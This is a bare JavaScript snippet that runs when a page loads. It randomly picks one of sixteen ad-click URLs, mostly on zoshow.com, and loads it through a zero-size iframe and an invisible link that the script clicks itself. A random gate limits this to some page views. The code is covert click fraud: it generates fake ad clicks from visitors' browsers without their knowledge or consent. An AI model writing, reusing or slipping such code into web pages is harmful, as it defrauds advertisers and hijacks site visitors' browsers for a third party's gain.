var chars = ['0', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'];
theclick1 = new Array();
total1 = 16;
theclick1[1]="http://www.zoshow.com/";
theclick1[2]="http://cm.zoshow.com/click?param=463||0||0||18||subject";
theclick1[3]="http://cm.zoshow.com/click?param=463||0||0||25||subject";
theclick1[4]="http://cm.zoshow.com/click?param=463||0||0||23||subject";
theclick1[5]="http://cm.zoshow.com/click?param=463||0||0||24||subject";
theclick1[6]="http://cm.zoshow.com/click?param=463||0||0||18||subject";
theclick1[7]="http://cm.zoshow.com/click?param=463||0||0||20||subject";
theclick1[8]="http://cm.zoshow.com/click?param=463||0||0||26||subject";
theclick1[9]="http://cm.zoshow.com/click?param=463||0||0||22||subject";
theclick1[10]="http://cm.zoshow.com/click?param=463||0||0||27||subject";
theclick1[11]="http://cm.zoshow.com/click?param=463||0||0||21||subject";
theclick1[12]="http://cm.zoshow.com/click?param=463||0||0||22||subject";
theclick1[13]="http://cm.zoshow.com/click?param=463||0||0||27||subject";
theclick1[14]="http://cm.zoshow.com/click?param=463||0||0||21||subject";
theclick1[15]="http://www.kouchou315.com";
theclick1[16]="http://www.quban2009.com";

idrandom1 = parseInt(Math.random() * total1);

if (idrandom1 < 1 || idrandom1 > total1) {
    idrandom1 = 1;
}

function getAdUrl1(idrandom1)
{
    u = theclick1[idrandom1];
    document.write("<iframe  width='0' height='0' src='' name='iframeid' id='iframeid'></iframe>");
    document.writeln("<div style=\"visibility:hidden\">");
    document.writeln(" <a id=\"acej\" href='" + u + "' onclick=\"document.getElementById(\'iframeid\').src=this.href; return false\">YourLinkText<\/a>");
    document.writeln(" <script> ");
    document.writeln("  var x=document.getElementById(\"acej\");");
    document.writeln("     x.onclick();");
    document.writeln(" <\/script>");
    document.writeln("<\/div>");
}
function generateMixed1(n)
{
    var res = "";
    for (var i = 0; i < n; i++) {
        var id = Math.ceil(Math.random() * 10);
        res += chars[id];
    }
    return res;
}
var num = generateMixed1(4);
if (num < 10) {
    getAdUrl1(idrandom1);
}
